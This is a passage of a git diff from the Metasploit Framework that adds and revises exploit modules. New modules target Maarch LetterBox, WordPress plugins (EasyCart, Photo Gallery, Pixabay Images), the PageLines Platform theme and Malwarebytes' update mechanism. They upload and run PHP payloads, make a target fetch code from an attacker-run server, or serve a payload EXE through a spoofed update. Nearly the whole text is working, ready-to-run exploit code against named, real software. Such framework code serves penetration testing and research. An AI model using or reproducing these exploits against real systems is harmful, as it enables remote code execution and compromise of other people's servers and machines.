session and file validation in the file_to_index.php script. It allows unauthenticated + users to upload files of any type and subsequently execute PHP scripts in the context of + the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Rob Carr <rob[at]rastating.com>' + ], + 'References' => + [ + ['CVE', '2015-1587'] + ], + 'DisclosureDate' => 'Feb 11 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Maarch LetterBox 2.8', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/']) + ], self.class) + end + + def letterbox_login_url + normalize_uri(target_uri.path, 'login.php') + end + + def letterbox_upload_url + normalize_uri(target_uri.path, 'file_to_index.php') + end + + def check + res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url) + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"') + return Msf::Exploit::CheckCode::Appears + end + + Msf::Exploit::CheckCode::Safe + end + + def generate_mime_message(payload, name) + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"") + data + end + + def exploit + print_status("#{peer} - Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + data = generate_mime_message(payload, payload_name) + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => letterbox_upload_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + + print_status("#{peer} - Parsing server response...") + captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil? + payload_url = normalize_uri(target_uri.path, captures[0]) + print_good("#{peer} - Response parsed successfully") + + print_status("#{peer} - Executing the payload at #{payload_url}") + register_files_for_cleanup(File.basename(URI.parse(payload_url).path)) + send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + end +end diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 06df6573f1..6c08aaa9af 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote client.fs.file.rm(f) print_good("#{peer} - #{f} removed to stay ninja") rescue - print_error("#{peer} - Unable to remove #{f}") + print_warning("#{peer} - Unable to remove #{f}") end end end @@ -95,16 +95,16 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty? - print_error("#{peer} - Login failed with \"#{username}:#{password}\"") - return + if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty? + fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"") end if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/ session_id = $1 + elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/ + session_id = $1 else - print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") - return + fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") end print_status("#{peer} - Login successful with #{username}:#{password}") @@ -128,9 +128,8 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if not res or res.code != 200 - print_error("#{peer} - Exploit failed: #{res.code}") - return + unless res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}") end print_status("#{peer} - Executing the payload") @@ -143,11 +142,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) - - if res - print_error("#{peer} - Payload execution failed: #{res.code}") - return - end - end end + diff --git a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb new file mode 100644 index 0000000000..dfe47d01be --- /dev/null +++ b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WP EasyCart Unrestricted File Upload', + 'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for + WordPress contains a flaw that allows a remote + attacker to execute arbitrary PHP code. This + flaw exists because the + /inc/amfphp/administration/banneruploaderscript.php + script does not properly verify or sanitize + user-uploaded files. By uploading a .php file, + the remote system will place the file in a + user-accessible path. Making a direct request to + the uploaded file will allow the attacker to + execute the script with the privileges of the web + server. + + In versions <= 3.0.8 authentication can be done by + using the WordPress credentials of a user with any + role. In later versions, a valid EasyCart admin + password will be required that is in use by any + admin user. A default installation of EasyCart will + setup a user called "demouser" with a preset password + of "demouser".}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '116806'], + ['WPVDB', '7745'] + ], + 'DisclosureDate' => 'Jan 08 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['wp-easycart', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']), + OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']), + OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']), + OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false]) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def ec_password + datastore['EC_PASSWORD'] + end + + def ec_password_is_hash + datastore['EC_PASSWORD_IS_HASH'] + end + + def use_wordpress_authentication + username.to_s != '' && password.to_s != '' + end + + def use_ec_authentication + ec_password.to_s != '' + end + + def req_id + if ec_password_is_hash + return ec_password + else + return Rex::Text.md5(ec_password) + end + end + + def generate_mime_message(payload, date_hash, name, include_req_id) + data = Rex::MIME::Message.new + data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"") + data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id + data + end + + def setup + if !use_wordpress_authentication && !use_ec_authentication + fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value') + end + + super + end + + def exploit + vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication + vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication + + if use_wordpress_authentication && use_ec_authentication + print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...") + end + + if use_wordpress_authentication + print_status("#{peer} - Authenticating using #{username}:#{password}...") + cookie = wordpress_login(username, password) + + if !cookie + if use_ec_authentication + print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...") + else + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') + end + else + print_good("#{peer} - Authenticated with WordPress") + end + end + + print_status("#{peer} - Preparing payload...") + payload_name = Rex::Text.rand_text_alpha(10) + date_hash = Rex::Text.md5(Time.now.to_s) + uploaded_filename = "#{payload_name}_#{date_hash}.php" + plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart') + uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php') + payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename) + data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication) + + print_status("#{peer} - Uploading payload to #{payload_url}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uploader_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookie + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200 + + print_status("#{peer} - Executing the payload...") + register_files_for_cleanup(uploaded_filename) + res = send_request_cgi( + { + 'uri' => payload_url, + 'method' => 'GET' + }, 5) + + if !res.nil? && res.code == 404 + print_error("#{peer} - Failed to upload the payload") + else + print_good("#{peer} - Executed payload") + end + end +end diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb new file mode 100644 index 0000000000..c3dd97fe3e --- /dev/null +++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'json' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Photo Gallery Unrestricted File Upload', + 'Description' => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a + remote attacker to execute arbitrary PHP code. This flaw exists + because the photo-gallery\photo-gallery.php script allows access + to filemanager\UploadHandler.php. The post() method in UploadHandler.php + does not properly verify or sanitize user-uploaded files. + + This module was tested on version 1.2.5.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '117676'], + ['WPVDB', '7769'], + ['CVE', '2014-9312'], + ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html'] + ], + 'DisclosureDate' => 'Nov 11 2014', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['photo-gallery < 1.2.6', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ], self.class) + end + + def check + check_plugin_version_from_readme('photo-gallery', '1.2.6') + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def generate_mime_message(payload, name) + data = Rex::MIME::Message.new + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file("#{name}.php", payload.encoded) + data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"") + data + end + + def exploit + print_status("#{peer} - Authenticating using #{username}:#{password}...") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? + print_good("#{peer} - Authenticated with WordPress") + + print_status("#{peer} - Preparing payload...") + payload_name = Rex::Text.rand_text_alpha(10) + data = generate_mime_message(payload, payload_name) + + upload_dir = "#{Rex::Text.rand_text_alpha(5)}/" + print_status("#{peer} - Uploading payload to #{upload_dir}...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir }, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookie + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + print_good("#{peer} - Uploaded the payload") + + print_status("#{peer} - Parsing server response...") + begin + json = JSON.parse(res.body) + if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil? + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') + else + uploaded_name = json['files'][0]['name'][0..-5] + php_file_name = "#{uploaded_name}.php" + payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name) + print_good("#{peer} - Parsed response") + + register_files_for_cleanup(php_file_name) + register_files_for_cleanup("../#{uploaded_name}.zip") + print_status("#{peer} - Executing the payload at #{payload_url}") + send_request_cgi( + { + 'uri' => payload_url, + 'method' => 'GET' + }, 5) + print_good("#{peer} - Executed payload") + end + rescue + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') + end + end +end diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb new file mode 100644 index 0000000000..81ab361db5 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Pixabay Images PHP Code Upload', + 'Description' => %q{ + This module exploits multiple vulnerabilities in the WordPress plugin Pixabay + Images 2.3.6. The plugin does not check the host of a provided download URL + which can be used to store and execute malicious PHP code on the system. + }, + 'Author' => + [ + 'h0ng10', # Discovery, Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'], + ['OSVDB', '117145'], + ['OSVDB', '117146'], + ['WPVDB', '7758'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['pixabay-images 2.3', {}]], + 'DefaultTarget' => 0, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DisclosureDate' => 'Jan 19 2015' + )) + + register_options( + [ + OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]), + OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4]) + ], self.class) + end + + + # Handle incoming requests from the server + def on_request_uri(cli, request) + print_status("URI requested: #{request.raw_uri}") + send_response(cli, payload.encoded) + end + + # Create a custom URI + def generate_payload_uri + "#{get_uri}.php" + end + + def call_payload(file_name) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name) + }, 3) + + res + end + + def exploit + unless wordpress_and_online? + fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be WordPress site") + end + + print_status("#{peer} - Starting up web service...") + start_service + + payload_uri = generate_payload_uri + vprint_status("#{peer} - Using URI #{payload_uri}") + + random_file_name = rand_text_alphanumeric(rand(5) + 5) + post = { + 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), + 'image_url' => payload_uri, + 'image_user' => rand_text_alphanumeric(rand(5) + 5), + 'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}" + } + + print_status("#{peer} - Uploading payload #{random_file_name}...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend), + 'vars_post' => post + }) + + stop_service + + unless res && res.code == 200 && res.headers['date'] + fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...") + end + + server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i + + print_status("#{peer} - Calling payload...") + datastore['TRIES'].times do |i| + payload_name = "#{random_file_name}_#{server_epoch_time + i}.php" + res = call_payload(payload_name) + if (res && res.code == 200) || session_created? + register_files_for_cleanup(payload_name) + break + end + end + end + + def check + res = wordpress_and_online? + unless res + vprint_error("#{peer} - It doesn't look like a WordPress site") + return Exploit::CheckCode::Unknown + end + + # Send a request with a illegal URL to verify that the target is vulnerable + post = { + 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), + 'image_url' => rand_text_alphanumeric(rand(5) + 5), + 'image_user' => rand_text_alphanumeric(rand(5) + 5), + 'q' => rand_text_alphanumeric(rand(5) + 5) + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend), + 'vars_post' => post + }) + + if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end +end diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb new file mode 100644 index 0000000000..d07cffb154 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_platform_exec.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Remote Code Execution in WordPress Platform Theme', + 'Description' => %q{ + The WordPress Theme "platform" contains a remote code execution vulnerability + through an unchecked admin_init call. The theme includes the uploaded file + from it's temp filename with php's include function. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html'], + ['WPVDB', '7762'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['platform < 1.4.4, platform pro < 1.6.2', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 21 2015')) + end + + def exploit + filename = "Settings_#{rand_text_alpha(5)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") + data.add_part('settings', nil, nil, 'form-data; name="settings_upload"') + data.add_part('pagelines', nil, nil, 'form-data; name="page"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_admin_post, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }, 5) + end +end diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb index 7957fbfc46..3a66c6920b 100644 --- a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -78,8 +78,6 @@ class Metasploit3 < Msf::Exploit::Remote zip_content = create_zip_file(theme_name, payload_name) - uri = normalize_uri(wordpress_url_backend, 'admin-post.php') - data = Rex::MIME::Message.new data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') @@ -94,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading payload to #{payload_uri}") res = send_request_cgi( 'method' => 'POST', - 'uri' => uri, + 'uri' => wordpress_url_admin_post, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, 'data' => post_data diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index 629621b033..fc38dbe7d1 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::Seh def initialize(info = {}) diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 99f72ef29f..61ae466927 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/browser/malwarebytes_update_exec.rb b/modules/exploits/windows/browser/malwarebytes_update_exec.rb new file mode 100644 index 0000000000..db740e9bdd --- /dev/null +++ b/modules/exploits/windows/browser/malwarebytes_update_exec.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking # Would be Great except MBAE doesn't version check + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer + + VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/ + EXE_REGEX = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/ + NEXT_VERSION = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' } + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in the update functionality of + Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes + Anti-Exploit consumer 1.03.1.1220. + Due to the lack of proper update package validation, a man-in-the-middle + (MITM) attacker could execute arbitrary code by spoofing the update server + data-cdn.mbamupdates.com and uploading an executable. This module has + been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Yonathan Klijnsma', # Vulnerability discovery and PoC + 'Gabor Seljan', # Metasploit module + 'todb' # Module refactoring + ], + 'References' => + [ + [ 'CVE', '2014-4936' ], + [' OSVDB', '116050'], + [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 16 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]) + ], self.class) + + # Vulnerable Malwarebytes clients do not allow altering these. + deregister_options('SSL', 'SSLVersion', 'SSLCert') + end + + def on_request_uri(cli, request) + case request.uri + when VERSION_REGEX + serve_update_notice(cli) if set_exploit_target($1, request) + when EXE_REGEX + serve_exploit(cli) + else + vprint_status "Sending empty page for #{request.uri}" + serve_default_response(cli) + end + end + + def serve_default_response(cli) + send_response(cli, '') + end + + def check_client_version(request) + return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/ + this_version = $1 + next_version = NEXT_VERSION[:mbam] + if + Gem::Version.new(next_version) >= Gem::Version.new(this_version) + return true + else + print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update." + return false + end + end + + def set_exploit_target(package, request) + case package + when /mbam/i + if check_client_version(request) + @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]] + else + serve_default_response(cli) + return false + end + when /mbae/i + # We don't get identifying info from MBAE + @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]] + end + end + + def serve_update_notice(cli) + software,next_version = @client_software + print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'." + send_response(cli, next_version, + 'Content-Type' => 'application/octet-stream' + ) + end + + def serve_exploit(cli) + print_status "Sending payload EXE..." + send_response(cli, generate_payload_exe, + 'Content-Type' => 'application/x-msdos-program' + ) + end + +end diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 2d2520d57f..3807116899 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -10,19 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "6.0", - :ua_maxver => "8.0", - :javascript => true, - :os_name => OperatingSystems::Match::WINDOWS, - :vuln_test => %Q| - var v = window.os_detect.getVersion(); - var os_name = v['os_name']; - if (os_name.indexOf('Windows XP') == 0) {is_vuln = true;} else { is_vuln = false; } - |, - }) def initialize(info={}) super(update_info(info, diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index 02a9aed841..a8d7841e26 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "MS12-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", + 'Name' => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", 'Description' => %q{ This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 24b3a09d13..a0ff99e2d9 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -9,6 +9,19 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::Match::WINDOWS_XP, +# BrowserAutoPwn currently has a syntax error bug so we can't use classid and method, +# so we have these commented out for now. But it's not so bad because by default +# Windows XP has this ActiveX, and BrowserExploitServer's check will kick in. +# :classid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", +# :method => "requiredClaims" + }) def initialize(info={}) super(update_info(info, diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 07530df874..ad23315340 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -11,18 +11,8 @@ class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Powershell - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "3.0", - :ua_maxver => "10.0", - :javascript => true, - :os_name => OperatingSystems::Match::WINDOWS, - :rank => ExcellentRanking - }) - def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", diff --git a/modules/exploits/windows/browser/orbit_connecting.rb b/modules/exploits/windows/browser/orbit_connecting.rb index 38b464bc70..5295485415 100644 --- a/modules/exploits/windows/browser/orbit_connecting.rb +++ b/modules/exploits/windows/browser/orbit_connecting.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index 2245784998..c2afc67f27 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" + payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager_name = rand_text_alpha(6) + ".vbs" diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb new file mode 100644 index 0000000000..4e943e2e8b --- /dev/null +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "X360 VideoPlayer ActiveX Control Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the + X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun + a .data buffer to bypass ASLR/DEP and finally execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Rh0', # vulnerability discovery and exploit, all the hard work + 'juan vazquez' # msf module + ], + 